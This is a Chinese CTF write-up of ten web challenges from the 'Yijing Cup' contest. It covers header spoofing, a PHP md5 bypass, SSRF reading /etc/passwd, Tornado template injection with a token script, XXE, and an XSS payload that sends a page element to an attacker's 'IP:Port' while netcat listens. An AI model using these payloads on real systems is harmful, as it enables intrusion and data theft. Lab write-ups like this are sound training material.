第一届“蚁景杯”CTF-web 个人题目解析记录

06-01 1665阅读

竞赛平台链接:蚁景网安竞赛平台

比赛时间:4月11日22:00-4月12日16:00比赛题目数量为10道题,每题分值为100分

计分规则:1、比赛答题积分采用动态积分+奖励分模式(即每道题目答对后即获取动态积分,如果是答对该道题目的前3名,分别奖励该动态积分的6%、4%、2%;一道题目答对的人数越多,该题的得分越低)。2、最终比赛总分由高至低排列,分数相同的情况下,以提交时间为准,用时短者排名高于用时较长者。3、比赛结束后 24小时内,获奖者必须针对自己的每个 Flag提交对应Writeup 报告,经裁判组审核,未提交 Writeup 者成绩会被判定无效得分。

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

wtfbutton

访问靶机,提示点击获取flag,但是按钮是灰色的,考虑修改前端代码

第一届“蚁景杯”CTF-web 个人题目解析记录

打开开发者工具,点击开发者工具左上角按钮,选择网页flag处,就可以迅速定位到flag编写的前端代码

第一届“蚁景杯”CTF-web 个人题目解析记录

删除红框里的字段,点击flag按钮,出现flag

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

这里老师给了另一种解法,同样记录一下:

虽然前端对功能有了限制,但点击按钮的时候,请求数据还是会发送到服务器的,这里我们能看到请求的名字

第一届“蚁景杯”CTF-web 个人题目解析记录

这里使用插件HackBar发送一下请求数据

第一届“蚁景杯”CTF-web 个人题目解析记录

ezsearch

打开开发者工具即可见Flag

第一届“蚁景杯”CTF-web 个人题目解析记录

cookie

打开页面什么也没有

第一届“蚁景杯”CTF-web 个人题目解析记录

既然题目是cookie,我们就查看一下cookie,点击网络,刷新一下,选择网页文件,点击cookie,发现有类似flag文件

第一届“蚁景杯”CTF-web 个人题目解析记录

尝试访问文件发现flag值

第一届“蚁景杯”CTF-web 个人题目解析记录

robots

#前置知识:robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。

访问目标什么也没有

第一届“蚁景杯”CTF-web 个人题目解析记录

访问robots.txt,有类似flag文件

第一届“蚁景杯”CTF-web 个人题目解析记录

尝试访问/flag.htmlw

第一届“蚁景杯”CTF-web 个人题目解析记录

只能尝试访问/robot-nurses,有页面也并没有像/flag.htmlw报错,仔细查看可以发现右侧有滚轮

第一届“蚁景杯”CTF-web 个人题目解析记录

拉向页面底部或打开开发者工具发现flag

第一届“蚁景杯”CTF-web 个人题目解析记录

canyouaccess

访问目标提示请从本地访问

第一届“蚁景杯”CTF-web 个人题目解析记录

打开BP抓一下包

第一届“蚁景杯”CTF-web 个人题目解析记录

既然提示请从本地方法,我们就在请求中加字段,常见的有X-Forwarded-For,从返回的结果看并没有效果

第一届“蚁景杯”CTF-web 个人题目解析记录

再尝试Client-IP字段,页面发生了变化

第一届“蚁景杯”CTF-web 个人题目解析记录

继续添加referer字段为google.com

第一届“蚁景杯”CTF-web 个人题目解析记录

修改UA为ABC Browser,出现Flag

第一届“蚁景杯”CTF-web 个人题目解析记录

codeaudit

PHP源码分析的题目,个人直接投机让AI分析并得到playload,但还是记录一下吧,但是AI作为这个时代的产物以及日益的普及,也可以作为一个工具来使用

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

这题源码大致的重点在于

else if (md5($_GET['username']) === md5($_GET['password']))

这里有三个等于号,表示全等,也就是说需要类型和值相等。

一种思路是:利用 MD5 碰撞

PHP 在 == 或 === 比较时,如果字符串以 0e 开头,可能会被当作科学计数法的 0,导致 0exxx == 0eyyy

md5(“240610708”) = 0e462097431906509019562988736854

md5(“QNKCDZO”) = 0e830400451993494058024219903391

另一种方法为:数组绕过

如果传参都为数组,那么md5() 会返回 NULL,结果也就True。

/?username[]=a&password[]=b

curl

访问目标,给出提示,尝试访问flag,但是不行

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

访问主站,打开开发者工具可以看到可以传参urls,并且有访问网站的功能,也就是可能有SSRF漏洞

第一届“蚁景杯”CTF-web 个人题目解析记录

尝试利用伪协议file读取一下/etc/passwd

第一届“蚁景杯”CTF-web 个人题目解析记录

用file协议尝试读取一下flag文件

第一届“蚁景杯”CTF-web 个人题目解析记录

用http协议访问呢?结果也是一样的。之前尝试过了可以打开/etc/passwd,也就是说只有flag有限制

第一届“蚁景杯”CTF-web 个人题目解析记录

我们可以尝试访问一下网页的源码,可以成功访问网页源码,这里可以看到大概是127.0过滤

第一届“蚁景杯”CTF-web 个人题目解析记录

用0.0.0.0也可以代表本地地址

第一届“蚁景杯”CTF-web 个人题目解析记录

easy_tornado

访问目标,得知的信息有:1,flag的文件名字及位置。2,很明显的访问文件需要文件名及其相对应hash。3,hash的加密规则

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

尝试访问/fllllllllllllag,可以发现页面跳转了并且修改msg的传参可以打印到页面上

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

那么思路就很清晰了,获取cookie_secret值是必须的。

网上搜索关键字,(这个题真的。。随便搜索关键字就出现原题的文章),但不管是原题的解法还是对于tornado框架漏洞的披露,都指向同一个结果:

{{handler.settings}}

第一届“蚁景杯”CTF-web 个人题目解析记录

用python 编写exp

import hashlib
def calculate_token(cookie_secret, filename):
    filename_md5 = hashlib.md5(filename.encode('utf-8')).hexdigest()
    combined = cookie_secret + filename_md5
    token = hashlib.md5(combined.encode('utf-8')).hexdigest()   
    return token
if __name__ == "__main__":
    cookie_secret = "b058e3c7-7f8f-4cf6-a119-3767f7532619"
    filename = "/fllllllllllllag"
    
    token = calculate_token(cookie_secret, filename)
    print(f"Token for '{filename}': {token}")

第一届“蚁景杯”CTF-web 个人题目解析记录

获取flag

第一届“蚁景杯”CTF-web 个人题目解析记录

Fake XML cookbook

访问目标,既然题目写了XML,那我们就用XXE payload试一下

第一届“蚁景杯”CTF-web 个人题目解析记录

从反馈中可以看到payload应该是执行了的,但是语法不对

第一届“蚁景杯”CTF-web 个人题目解析记录

直接在BP中加入payload,需要注意的是xml部分必须是username,不然看不到回显

第一届“蚁景杯”CTF-web 个人题目解析记录

XSS

这题虽然个人没有做出来,但还是记录一下

目标页面:

第一届“蚁景杯”CTF-web 个人题目解析记录

guest处有XSS漏洞

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

管理员处有SSRF漏洞,访问有限制

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

打开开发者工具,找到对应的p标签,id为flag。根据提示,只能“管理员”(本地)访问,才能看到flag

第一届“蚁景杯”CTF-web 个人题目解析记录

解题思路:我们要利用XSS漏洞配合SSRF将flag内容弹给我们的服务器(因为很明显flag是不会出现在本页面了)

在vps上监听:

nc -lvnp 6666

构造XSS payload(闭合p标签,打开一个窗口访问我们的服务器并获取flag元素内容):

window.open("http://IP:Port/?q="+document.getElementById("flag").innerText)

1,在guest里输入XSS payload

第一届“蚁景杯”CTF-web 个人题目解析记录

会出现一个弹窗

第一届“蚁景杯”CTF-web 个人题目解析记录

vps也会获取信息,这里不用管,主要确认此操作是可行的

第一届“蚁景杯”CTF-web 个人题目解析记录

2,回到原页,把网址改成127.0.0.1后复制,然后让管理员访问

第一届“蚁景杯”CTF-web 个人题目解析记录

第一届“蚁景杯”CTF-web 个人题目解析记录

3,回到vps获取flag

第一届“蚁景杯”CTF-web 个人题目解析记录

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码